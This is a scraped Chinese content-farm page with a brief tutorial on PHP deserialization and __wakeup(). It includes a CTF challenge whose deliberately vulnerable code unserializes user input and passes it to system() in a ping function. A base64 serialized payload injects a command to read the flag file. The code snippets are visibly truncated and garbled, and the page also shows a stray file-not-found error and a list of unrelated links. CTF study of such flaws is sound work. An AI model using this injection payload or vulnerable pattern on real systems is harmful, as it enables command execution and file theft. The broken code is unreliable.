反序列化_wakeup_资讯

反序列化__wakeup

创始人

2024-03-21 09:17:25

0次

简介

__wakeup()，执行unserialize()时，先会调用这个函数。

argv=$argv;$this->method=$method;}public function f1(){echo "f1";}function __wakeup(){$this->f1();}}$c1= new c1('123','GET');
$b = serialize($c1);
echo $b;
$str= $_GET['str'];
unserialize($str);

2.CTF考题

index.php 读取目录flag.php

method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}}function ping($host){system("ping -c 2 $host");}function waf($str){$str=str_replace(' ','',$str);return $str;}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf(trim(addslashes($v)));}}
}
$a=@$_GET['a'];unserialize(base64_decode($a));

解题思路

unserialize 反序列化的时候会优先调用__wakeup() 进行空格过滤 $this->waf 调用waf函数把空格过滤是空。

首先构造序列化 base64

Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czo2NzoiMTI3LjAuMC4xfHR5cGUJRDpccGhwc3R1ZHlfcHJvXFdXV1x3d3cudGVzdDEuY29tXGN0ZlxkZW1vNVxmbGFnLnBocCI7fX0=

词库加载错误:未能找到文件“E:\highferrum_mysql\Configuration\Dict_Stopwords.txt”。

上一篇： 难忘校园情初中作文

下一篇： 高中生周记

热门资讯

婚礼的主持词婚礼的主持词　　婚礼的主持词（精选21篇）　　主持词的写作要突出活动的主旨并贯穿始终。随着社会一步步...

主婚人致辞主婚人致辞（精选6篇）　　在生活、工作和学习中，大家都写过致辞吧，致辞具有很强的实用性和针对性。还在...

促销活动主持词促销活动主持词　　利用在中国拥有几千年文化的诗词能够有效提高主持词的感染力。在现今人们越来越重视活动...

小品活动的主持词小品活动的主持词　　【篇一】　　各位亲爱的老师，同学们，大家下午好!　　欢迎来到天津师范大学新闻传播...

幼儿园元旦晚会主持词

森林报好词好句森林报好词好句　　好词：　　小巧玲珑飞云流雾红日西垂霞光四射层峦叠嶂水天相接　　轻歌曼舞 ...

早会主持稿早会主持稿（精选5篇）　　在现在社会，我们可以使用主持稿的机会越来越多，主持稿是主持人为节目进行过程...

优秀员工颁奖词优秀员工颁奖词大全　　在平时的学习、工作或生活中，大家都经常接触到颁奖词吧，颁奖词是在某一主题的颁奖...

女儿出阁司仪主持词女儿出阁司仪主持词范文　　主持词要把握好吸引观众、导入主题、创设情境等环节以吸引观众。在当下的中国社...

歌颂祖国串词歌颂祖国串词一。各位领导各位来宾，大家晚上好。今天我们这里篷壁生辉，喜气洋溢，是因为有您们的光临，...

小学生庆元旦联欢会主持词小学生庆元旦联欢会主持词范文（精选5篇）　　主持词要注意活动对象，针对活动对象写相应的主持词。在现今...

新年升旗仪式致辞新年升旗仪式致辞（精选14篇）　　在现实生活或工作学习中，说到致辞，大家肯定都不陌生吧，致辞具有思路...

表演半台词表演三句半台词　　敲锣打鼓走圆场　　1：锣鼓一响好心情，　　2：我们漫游动画城；　　3：表演一个三句...

毕业30周年同学聚会主持词毕业30周年同学聚会主持词范文　　老同学聚会，一桌饭菜，谈论着当年的同学情，好不快活呀，往日是多么的...

结训典礼主持词结训典礼主持词范文　　主持词是主持人在节目进行过程中用于串联节目的串联词。在当今中国社会，各种集会中...

集团董事长新年的经典致辞集团董事长新年的经典致辞（通用13篇）　　在平平淡淡的学习、工作、生活中，大家对致辞都不陌生吧，致辞...

郭德纲于谦相声《李菁表妹》台... 郭德纲于谦相声《李菁表妹》台词　　郭德纲，1973年1月18日出生于天津，华语相声演员，电视、电影演...

教师节学生主持稿教师节学生主持稿　　教师“不仅仅是一份工作、一个职业，而是一项需要用一生的情感去拥抱的事业，更是一种...

主持词开场白夏天主持词开场白夏天（精选5篇）　　在现实社会中，很多情况下我们都需要用到开场白，独具匠心的开场白，才能...

幼儿园家长会全过程主持词幼儿园家长会全过程主持词　　主持词要把握好吸引观众、导入主题、创设情境等环节以吸引观众。在当今不断发...

反序列化__wakeup

相关内容

热门资讯